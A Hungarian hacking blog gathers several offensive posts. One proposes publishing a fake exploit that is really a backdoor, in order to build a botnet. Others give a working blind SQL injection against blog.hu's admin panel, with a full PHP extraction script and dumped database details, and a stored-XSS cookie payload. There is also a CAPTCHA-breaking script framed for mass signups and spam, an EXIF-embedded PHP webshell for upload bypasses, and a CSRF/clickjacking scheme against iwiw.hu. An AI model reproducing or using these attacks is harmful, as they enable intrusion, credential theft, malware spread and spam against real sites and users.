Offensive # it might work!

Szokták mondani, hogy “The best defense is a good offense” és van is benne valami.

Ez az ötlet csak az un “Script Kiddie” ellen hatásos de itt most nem is hatásosságáról van szó inkább azon, hogy egy jót szórakozzunk, esetleg egy bot-net építésűnk.

A módszer pofon egyszerű:
1. Találjunk ki egy fantázia nevet pl: Remote ANDX Server 1.6.2
2. Nyissunk megy egy low portot pl 189/TCP és bárkitől érkezik egy kapcsolat írjuk ki a fantázia nevet rajta.
3. Írjunk egy “exploitot” ami végső soron egy BackDoor Win/Linux rendszerre és publikáljuk a nagyon rejtett (“shellcode”) forráskódot egy weboldalon.
3.1 Néhány SEO tipp. a <title> legyen a fantázia nevünk + exploit hiszen ere keres rá minden “Script Kiddie”, nem kell eltulozni elég egy Local File Disclosure nek címkézni, a “root exploit” scam gyanús. A fantázia nevünk legyen egyedi, így szinte garantált, hogy a mi exploitunkat fogja megtalálni.

Érdemes nézni az Apache loggokat mert lehet, hogy a támadónk nem futtat JS-t, stb.

Szerencsés eset:
A támadó futtat egy port scant az ip címünk ellen.
Megtalálja az alacsony portot pl 189 et, vagy bármi mást.
Csatlakozik pl telnet-el a megadott portra.
Megkapja a fantázia bannert.
Rákeres a Google on fantázianév / fantázianév exploit -ra
Mi vagyunk az első találat.
Nem ért hozzá => gcc source.c
./a.out target [port]
PWNED

30 perc alatt megvan az egész dolog és szerezhetünk maguknak egy vidám percet, vagy akár több százat is :D

blog.hu Blind SQL Injection

UPDATE:
Mivel valóban lekapcsolták a régi admin felületet ezért “publikálnám” ez a bejegyzést is, elég régi darab (2011 Szeptember) de működött.
Így utólag csak annyi megjegyzésem van hogy egy bináris keresés némileg gyorsabb lett volna, és azóta már azt használok. Van egy újabb Blind SQLi project a bbqsql ami némileg gyorsabb hiszen akár 100 – 200 “szálon” is futhatnak a lekérdezések de végül is “old dog new triks”.

Blog.hu Blind SQL Injection:

Találam a blog.hu-n egy “elrejtett” Blind Sql injection-t, azért mondom, hogy elrejtett mert a paramétert amúgy nem lehet elérni, legalábbis én nem láttam.

Ha valaki be van jelentkezve a blogba, akkor, ki tudja listázni a blogposztjait

http://blog.hu/admin/blogs/edit/postlist?level=adminarea&posts=10&page=1

A posts GET paraméterben adjuk meg a limitet a page ben meg az offset-et amit furának tünt, az az, hogy nem lehet rendezni, order így kipróbáltam egy pár paramétert és az orderby valamint az order működött is, hogy miért azt nem tudom gondolom van egy if vagy valami okosság.

Annyi még hozzá tartozik a dologhoz, hogy nem lehet szóközt (‘ ‘,’%20′,’+')  használni, de a jó öreg /**/ működik.

Egy orderby alapú BlindSQLi-t kapunk így.

TRUE:

http://blog.hu/admin/blogs/edit/postlist?level=adminarea&posts=5&orderby=id,(IF(1=1,1,(SeLeCT(1)/**/FRoM/**/information_schema.tables/**/)))

 

FALSE:

http://blog.hu/admin/blogs/edit/postlist?level=adminarea&posts=5&orderby=id,(IF(2=1,1,(SeLeCT(1)/**/FRoM/**/information_schema.tables/**/)))

 

Mivel piszok lassú a SQL szerver ezért érdemes kicserélni a false ágat erre:

(select/**/1/**/and/**/row(1,1)>(select/**/count(*),concat(version(),0x3a,floor(rand()*2))x/**/from/**/(select/**/1/**/union/**/select/**/2)a/**/group/**/by/**/x/**/limit/**/1))

Lehet csinálni fordítva is, vagyis hogy amikor TRUE akkor adjon hibát, hiszen a legtöbb találgatás FALSE lesz de valahogy jobban szeretem én így :)

DATA:

version() : 5.0.81?0.?ot?eb.0?log
user() : bloghu@blfr5.in*
datbase() : bloghu

DBS :2
bloghu
genie

TABLES in [BLOGHU] : ?
atallitott_blogok
blh_activity
blh_ads
blh_adst...
blh_antispam
blh
....
blh_indavip
....
blh_users
blh_users_backup
blh_users
....

COLUMNS in [bloghu.blh_users]
dateymdhour
metauser_id
user_activation_key
user_autosave_interval
user_avatar_url
user_blog_limit
user_connectioncode
user_default_avatar
user_email
user_firstname
user_grp_id
user_id
user_idmode
user_lastname
user_indapass_id
user_locale...

HIGH:
blog.hu@gmail.com : zXXXXnder [***Kivenni***]

 

PoC code:

<?php
error_reporting(E_ALL ^ E_NOTICE);
$session = "PHPSESSIDv2=XXXXXXXXX;";
$true = "xAAAAA"; // Egy post neve
$false = "ra! Ha nem megy, pr";
$sql_error = '(select/**/1/**/and/**/row(1,1)>(select/**/count(*),concat(version(),0x3a,floor(rand()*2))x/**/from/**/(select/**/1/**/union/**/select/**/2)a/**/group/**/by/**/x/**/limit/**/1))';

//Paramerek CLI bol
$param = getopt('s:l:c:');

$sql = str_replace(' ','/**/',$param['s']);
$limit = $param['l'];
$charset = $param['c'];


$char[0] = '0123456789 _@.abcdefghijklmnopqrstuvwxyz';
$char[1] = '0123456789';
$char[2] = 'abcd efghijkl01_23@456789mnopq.rstuvwxyz';
$char[3] = 'abcdefghijklmnopqrstuvwxyz @.';
$char[5] = '0123456789abcdefg'; // MD5
$char[99] = '0123456789.!#$%^&*()_blh_usermtacfgijk@nopqvwxyz!#$%^&*()_';


//Charset
if (!isset($charset)){
 $chr = $char[3];
} else {
 $chr = $char[$charset];
}



        if (!isset($limit)){
          //Ha nincsen limit akkor megnézzük a sql valasz hosszat 40ig
            for ($i=0;$i<40;$i++){;
               echo "$i - ";
               $sqli = "length(($sql))=$i";
               $url = "/admin/blogs/edit/postlist?level=adminarea&posts=5&orderby=id,(IF(($sqli),1,$sql_error))&order=+asC+&page=1";
               //DEV echo $url."\n";
               //Behivjuk az oldalt
               $html =  http_get($url);
               //DEV echo $html;
               //Ha talal akkor leallunk.
               if (talal($html)){
                    die("\n\nLength : $i\n\n");
                }                  
            }  //For loop          
            echo "\nNem tudom a hosszát vagy nagyobb mint 40\n";


        } else {
          //Ha mar van hosszunk akkor olvasunk
           echo "\nChars : $chr  | Limit :$limit\n\n$sql\n\n";    
                for ($i=1;$i<$limit+1;$i++) {
                        for ($p=0;$p<=strlen($chr);$p++){
                           $c = ord($chr[$p]);    
                           $sqli = "ascii(substring(lower(($sql)),$i,1))=".ord($chr[$p]);
                           $url = "/admin/blogs/edit/postlist?level=adminarea&posts=5&orderby=id,(IF(($sqli),1,(SeLeCT(1)/**/FRoM/**/information_schema.SCHEMATA/**/)))&order=+asC+&page=1";      
                           //DEV echo $url . "\n";    
                           //DEV $html =  http_get($url);    
                               
                           if (talal(http_get($url))) {
                                echo $chr[$p];
                                break;
                           }
                           if ($p == strlen($chr)){
                                echo '?';
                           }        
                        }
                }
                echo "\n";                
               
        }
               







function talal($html){
     global $true;
      return ( stripos($html,$true) > 1 ? true : false);  
}

//HTTP get Socket-el -curl
function http_get($url){
global $session;
//$url = urlencode($url);
$response = '';
$fp = fsockopen("blog.hu", 80, $errno, $errstr, 30);
if (!$fp) {
    return "$errstr ($errno)<br />\n";
} else {
    $out = "GET $url HTTP/1.1\r\n";
    $out .= "Host: blog.hu\r\n";
    $out .= "Accept: text/javascript, text/html, application/xml, text/xml, */*\r\n";
    $out .= "User-Agent: Contact email ******\r\n";    
    $out .= "Cookie: $session \r\n";    
    $out .= "Connection: Close\r\n\r\n";    
    fwrite($fp, $out);
    while (!feof($fp)) {
        $response .= fgets($fp, 128);
    }
    fclose($fp);
    return $response;    
}
}//Function



?>

 

Lépjünk be egy blog.hu admin felületbe, majd hívjuk meg http://blog.hu/admin/blogs/edit/postlist?level=adminarea&posts=10&page=1 ezt az oldalt, keressünk ki egy egyedi sztringet a forráskódból, lehetőleg ékezet nélkülit, majd másoljuk ki a PHPSESSIDv2 értéket, végezzük el a szükséges módosításokat és készen is vagyunk.

Használat:

php script.php -s “sql parancs” -c [CHARSET] -l [LIMIT]

ha nem adunk meg limitet először csak a hosszal tér vissza pl:

php script.php -s “select user()”

0 – 1 – 2 – 3 – 4 – 5 – 6 – 7 – 8 – 9 – 10 – 11 – 12 – 13 – 14 – 15 – 16 -

Length : 16

Utána megadhatjuk a hoszt és a választott char tipust, pl:

php script.php -s “select user()”  -c 2 -l 16

Chars : abcd efghijkl01_23@456789mnopq.rstuvwxyz  | Limit :16

select/**/user()

bloghu@blfr5.inx

 

Lehet használni ‘ -t is, későn vettem csak észre, ja és még lehet optimalizálni a kódón, aki akar.

 

 
UPDATE : Permanent XSS az admin felületen, lehetne DOM injectiont is csinálni csak nicsen türelmem most.
Link : http://0xff.org/res/dhtml/blog.hu/xss.blog.hu.html

<html>
<h1>Blog.hu Permanens XSS</h1>
<hr>
<p>Csak a belepett adminoknak mukodik, de az eleg is :D</p>
<form action="http://blog.hu/admin/blogs/presentation/mobile" method="post">
action:<input type="textbox"  name="action" value="mobile_custom_color"><br />

custom_color:<input type="textbox"  name="custom_color" value="on"><br />
custom_color_code:<input type="textbox"  name="custom_color_code" value="BAE3E2'); alert(document.cookie+' ~0xFF~ "><br />
<input type="submit" value="XSS ">
</form>
</html>

 

CAPTCHA @ citromail.hu

A minap valamiért a citromail.hu oldalra tévedtem és megakadt a szemem a CAPTCHA-n.
Mindenki ismeri a különféle captcha bypass oldalakat, ahol 1000 captcha megoldása 1-2 dollárba kelül (1.39$/1000/deathbycaptcha), van 15 nyelven API hozzá és bónuszként a hibákat nem számolják fel feltéve ha az ember veszi a fáradságot és visszajelez hogy nem volt rendben és így meg is takarított 0.0013 ropogós amerikai dollárt.

Ezek a “szolgatatasók” viszonylag egyszerűen működnek: a kliens el posztolja a képet általában HTTP de vannak más interfacek is, és 5-15-20 másodpercen belül jön is a válasz, ami az esetek 95%-ban helyes is.

Hogy most indiai, bangladeshi, kínai vagy ki tudja még milyen nemzetségű szakmunkások dolgoznak-e a problémákon azt nem tudom, habár a sajtóban felrebbennek hírek arról, hogy ezek az oldalak humán erőforrást vesznek igénybe pl: rabszolga voltam az orosz internet maffiaban ugyanakkor rengeteg hír van arról, hogy valamelyik nagyobb weboldal captcháját “feltőrték” : feltörték a gmail captcha vedelmet / Mircosoft captcha védelmet / stb csak hogy az indexnél maradjunk.

Citromail.hu

A citromail egy kicsit más típusú captchat használ mit az átlag, a Dracon féle FLASH catpchat.

citromail-regisztacio

Első ránézésre az látszik, hogy egyszerre max 1-2 betű látszik tisztán míg a többi homályos, FLASH alapú és a SWF-t amikor behívja akkor van benne egy kulcs 32 karakteres hex én MD5 re tippelnék, nem menetem bele a forráskódba sem a szerver oldali PHP ba sem a SWF be csak egy sima strings-en futtattam át de természetesen nem volt benne plaintexben a megoldás :).

Az alkótó szerint :

After numerous requests we have finally released a completely new Dracon Flash CAPTCHA v2.1 for your everyday use. It addresses OCR attacks and comes with a fully AJAXed test email form with anti-hammering measures and facilitates a 128bit AES encryption between PHP and Flash.

Nem az implementációt akartam kijátszani hanem magát a ötletet, mert olyan szépen hullámzik szinte kacérkodik.

Cél : Teljesen automatizálni a captcha megoldását, 0 emberi interakció.

Amit észre lehet venni, szinte azonnal, az az, hogy amikor 1 karaktert “megmutat” a script, akkor az nincs semmilyen formában eltorzítva, valamint, hogy a karakterek teljesen külön állanak egymástól, vagyis a segmentation készen is van ami nem egy erős captcha jele, finoman szólva. Ha el tudom dönteni, hogy hol kezdődik egy betű és hol végződik akkor a többi már gyerekjáték.

Első lépésben azt kell megoldanunk, hogy letöltsük valahogyan a FLASH hogy legyen meg képi formában, a forráskódban mint már említettem van egy hash de ha csak direkt hívjuk meg, akkor valamiért nem működik, próbáltam wget el de csak az első karakter jött de nem is gond mert a most használt megoldást mást típusú captchára is alkalmazható.

Igen, a jó öreg ScreenShot vagy ha jobban tetszik akkor PrintScreen, lesz a kulcsa a dolognak. Hogy egy Desktopon csinálok egy PrintsSreent nem jöhet számításba, és nem is nevezném elegáns megoldásnak, szerencsére van egy server kéznél amit majd fog futni a mi képzeletbeli citromail email-generátorunk és spam kampányunk.

cat /etc/issue
Ubuntu 11.04 \n \l
uname -r

2.6.38-11-generic

Az egyszerűség kedviért nevezzük Szervernek. A terv a következő, installálunk neki egy virtuális asztalt (x) firefoxot, flash-t majd elindítjuk a firefoxot és készítünk egy ScreenShot ot.

Megvalósítás:
sudo apt-get install xvfb firefox flashplugin-installer imagemagick x11-apps
Mivel lusta ember vagyok és nem szeretek számolgatni ezért készítettem egy oldalt ami csak a lényeget mutatja: http://0xff.org/res/dhtml/citromail.hu/?key=a71e885a13c8b5d750699caf9cf22a82

A script: A key értékét paraméterben adjuk meg.

#!/bin/bash
killall firefox
killall Xvfb
/usr/bin/X11/Xvfb :5 -screen 0 600x600x24 -fbdir /tmp &
sleep 1
DISPLAY=:5 firefox "http://0xff.org/res/dhtml/citromail.hu/?key=$1" &
sleep 5
DISPLAY=:5 import -window root shoot.png
killall firefox
sleep 2
killall Xvfb
exit
shoot

Müködik xvfb a firefox a flash és még az imagemagic is, a képen kezd kirajzolódni az első betű, a következő lépés az lenne hogy készítsünk egy screenshotot minden fél másodpercben így talán sikerül elkapni az összes betűt.

#!/bin/bash
killall firefox
killall Xvfb
/usr/bin/X11/Xvfb :5 -screen 0 600x600x24 -fbdir /tmp &

sleep 1
DISPLAY=:5 firefox "http://0xff.org/res/dhtml/citromail.hu/?key=$1" &
sleep 7

# 2fps
for i in {1..30}
do
sleep 0.5
DISPLAY=:5 import -window root $i.png
done

killall firefox
sleep 2
killall Xvfb
exit

Kapunk 30 képet

Láthatóak benne a betűk vagyis a 2fps elegendő.

 

Kivágjuk a képből a nekünk érdekes részt.

convert -channel rgb 1.png -crop 150×45+8+95 out.png


 

“kiütünk” mindent ami nem teljesen feher +-30% és kékre festjük

convert -channel rgb out.png -fuzz 30% -fill blue +opaque “#FFF” out.png


A kék színt kicseréljük átlátszóra

convert -channel rgb out.png -fuzz 30% -transparent blue out.png

*http://0xff.org/wp-content/uploads/2011/09/out3.png

Az így kapott képeket egymásra pakoljuk

convert HATTER.png KEP.png -compose Over -composite HOVA.png

Példa egy ilyen “összerakott” képre :

és igényéktől függően átalakítjuk fehér fekete png vagy grayscale ppm stb.

Az eredménynek már nekieshetünk egy sima OCR programmal is, én az GOCR és a OCRAD-t tudom ajánlani, az OCRAD-nak ppm vagy bmp kell.

A rövidített scipt:

#!/bin/bash
touch lock
killall plugin-container
killall firefox
killall Xvfb

/usr/bin/X11/Xvfb :5 -screen 0 600x600x24 -fbdir /tmp &

sleep 3
DISPLAY=:5 firefox "http://0xff.org/res/dhtml/citromail.hu/?key=$1" &
sleep 7

# 2fps ScreenShot
for i in {1..30}
do
sleep 0.5
DISPLAY=:5 import -window root $i.png
done

# Kepfeldolgozas
for i in {1..30}
do
convert -channel rgb $i.png -crop 150x45+8+95   -fuzz 30%  -fill blue  +opaque "#FFF" -transparent blue -negate $i.png
convert  1.png $i.png -compose Over -composite   1.png
done
convert -channel rgb 1.png -fill white -opaque none -monochrome out.jpg

#Torles
for i in {1..30}
do
rm $i.png
done

#OCR
gocr -a 90 out.jpg  &gt; outg.txt

killall firefox
sleep 2
killall Xvfb
rm lock
exit

 

API :

http://0xff.org/res/dhtml/citromail.hu/solve.php?key=[KEY]

 

UPDATE : Kicserélték a captchat a citromailesek de a probléma ugyan az, az én megoldásom is működik és az ebux féle is.

http://ebux.fw.hu/CodeGen.php?secEncCode=[KEY]

 

PHP + Heidi Klum

Ma már szinte mindenhol találkozunk olyan weboldalakkal amelyek lehetőséget adnak fileok feltöltésére, legyen az egy blogmotor, webshop, képgaléria stb. A “pentester” szempontjából a file-kezelés mindig egy érdekes terület.

Mindig is akartam egy filecsomagot amivel tesztelhetek egy file-kezelést, és most végre össze is raktam Heidi Klum segítségével.

Programozói hibák.

#1 $_FILES["file"]["type"] avagy MIME TYPE :

Nagyon sok programozó nincsen tisztában a http protokollal és azt hiszi, hogy a ["type"] értéket valahogyan a szerver határozza meg, de valójában a kliens küldi ahogy a ["name"]-et is. (Itt még megemlíteném az “X-Forwarded-For” és társait amelyek egyszerű http headerek)

Nézzünk egy fileupload-ot:

Content-Type: multipart/form-data; boundary=----------16114279816074778979

Content-Length: 2417

----------16114279816074778979

Content-Disposition: form-data; name="feltolt_file"; filename="fenykep.jpg"

Content-Type: image/gif

$_FILES["feltolt_file"]["name"] = fenykep.jpg
$_FILES["feltolt_file"]["type"] = image/gif

Ezeket az értékeket tetszés szerint változtathatjuk tehát pl a filenév lehet \?*\/%.ext valamint feltölthetünk egy “php filet” image/jpeg type-al (lásd  http://0xff.org/ff-stuff/firefox-mime-type-change/) és a hatás nem marad el.

 

 

#2 .’.jpg’ .’.pdf’ .’.mp3′ avagy Double File Extensions.

Vannak programozók, akik tudják, hogy a MIME Type (Content Type nem megbízható ezért inkább a következő megoldást alkalmazzák:

move_uploaded_file($_FILES["feltolt_file"]["tmp_name"], basename($_FILES["userfile"]["name"])) . ‘.ext’)

ezzel csak az az egy gond van, hogy egyes szervereken (Apache {AddHandler} ) egy “valami.php.jpg” nevű file nagy valószínűséggel php kódként kerül “futtatásra” és a hatás nem szokott elmaradni.

 

 

#3 BlackList megközelítés avagy “-php”

Ugyancsak gyakori “megoldás” a file-ok kezelésénél, hogy a jobbik esetben a filename-ből kicserélik pl a ‘php’ részletet egy üres string-re

(pl: valami.php => valami { valami.phphpp => ;) })

vagy csak pusztán utolsó pont utáni stringet vetik össze egy fekete listával, és ha talál akkor nem “mentik el” a filet. Az kiterjesztés problémáját az elöbbi pontban már átnéztük, de ennek a módszernek nem ez a legfőbb problémája hanem maga a koncepció. Az esetek nagy hányadában ki lehet kerülni, olyan “egzotikus” kiterjesztésekkel mint pl : .php3 .php4 .php5 .phtml .py .shtml .html .htacces stb.

 

 

#4 getimagesize() avagy Heidi Klum.

Képek feltöltésénél találkozhatunk a getimagesize() függvénnyel, amelyet arra haszálnak, hogy megállapítsák, hogy egy file valójában kép-e valamint, hogy ellenőrizzék a méretét.

Ezt a megközelítést ki lehet játszani az exif el, és itt jön a képbe Heidi Klum, vegyünk egy palyload-ot mondjuk:

<?php eval(base64_decode($_POST['derf3423'])) ?&gt

és egy Heidi Klum fotót valamint egy exif editort (mvapi, ExifTool) és készen is vagyunk.

*a base64 kódolást azért érdemes használni, mert néha egyes WAF-ok kiakadnak egy “../../../” vagy egy “/etc/passwd” string-től és a legutolsó dolog amit akarunk az egy 5XX hibaüzenet.

Most-már sok változóval tudunk játszadozni :
- Contnent-Type
- File name
- Double extension
- Exif Data

+ Egyes oldalak pl csak jpg képet engednek feltölteni ami kisebb mind 50kb és max 120×120

Ezért raktam össze ezt a csomagot amiben megtalálható JPG PNG GIF képek különböző felbontásokban valamint egy HTML + JS alapú “Posterrel” meg némi extra fileokkal, így nem kell mindig újat csinálni méretezgetni átnevezni stb.
 
 

Letöltés: PHP_Heidi_Klum_files.tar.gz (23.5 MB)

 
 

IWIW CSRF + ClickJacking

Cél: másnak az ”Üzenőfal”-ra írni egy általunk meghatározott szöveget.

A CSRF lenne a legkézenfekvőbb megoldás ere a célra,  jobban mondva az XSS de ez a bejegyzés most nem  erről szól, szóval CSRF: az IWIW nek van valamiféle CSRF védelme, ugyanis tokeneket használ szinte mindenhol,  a keresésnél, az üzenet küldésnél stb.

ClickJacking: kivitelezhető viszont rá kell vennünk a felhasználókat, hogy valamit “draggoljanak” legalább kétszer, egyszer amikor a mi szövegünket jelölik ki és egyszer amikor azt  átrakják az IWIW-be (lehet egyel is, de nem megbízható) majd kell még egy click a “Megosztás” – gombra, kivitelezhető csak eléggé macerás.

Nézzük meg jobban a CSRF-t, ha nem lenne a token egyszerű dolgunk lenne, viszont így sem hasztalan a technika:

POST /pages/activity/activities.jsp HTTP/1.1
Host: iwiw.hu
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.2.14) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-gb,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: ajaxable=1; [.. COOKIEK... ] c_resource=WEB_1294970359_37374617; c_jsess=1294970359
Content-Type: multipart/form-data; boundary=---------------------------2735276561659
Content-Length: 570
-----------------------------2735276561659
Content-Disposition: form-data; name="token"
00000000000000000
-----------------------------2735276561659
Content-Disposition: form-data; name="redirect"

-----------------------------2735276561659
Content-Disposition: form-data; name="viewerGroup"
-1
-----------------------------2735276561659
Content-Disposition: form-data; name=""
-----------------------------2735276561659
Content-Disposition: form-data; name="comment"
Hello Word!
-----------------------------2735276561659--

Válaszként kapunk egy szép hiba üzenetet ”Sikertelen üzenetküldés. Kérjük próbáld újra!” valamint egy kis segítséget:

<div class="commentWrapper">

	<textarea class="[...]" title="Mi jár a fejedben?" cols="30" rows="1" name="comment">

Hello Word!</textarea>

<div class="cornBot"></div>

</div>

Az egyik problémánk megoldódott, a szöveg már ott van a helyén csak annyi dolgunk van, hogy rávegyük a “usert”, hogy clickeljen a “Megosztás” – gombra, amit clickjackingel könnyedén megtehetjük

Vázlat:

[VALOS OLDAL]

XF.style.left = MOUSE.X -10
XF.style.top = MOUSE.y -10

[IFRAME ID="xf" SRC="SAJAT_DOMAINEN.html"] <-- Ezt az iframet lehet görgetni csak.
[IFRAME SRC="SAJAT_DOMAIN2.html" WIDTH=30 HEIGHT="60000" ]
[FORM POST IWIW]
[/FROM]
[JS POST FROM]
[/IFRAME]
[/IFRAME ]




[/VALOS OLDAL]

Live Demo : IWIW CSRF + ClickJacking PoC
Live Demo Látható IFRAME :IWIW CSRF + ClickJacking PoC

* Csak Firefox-ban működik tökéletesen, de a css-el játszódva könnyedén átihatjuk más böngészőre, és User Agent szerint szolgáljuk ki a “usert” a CSS-el.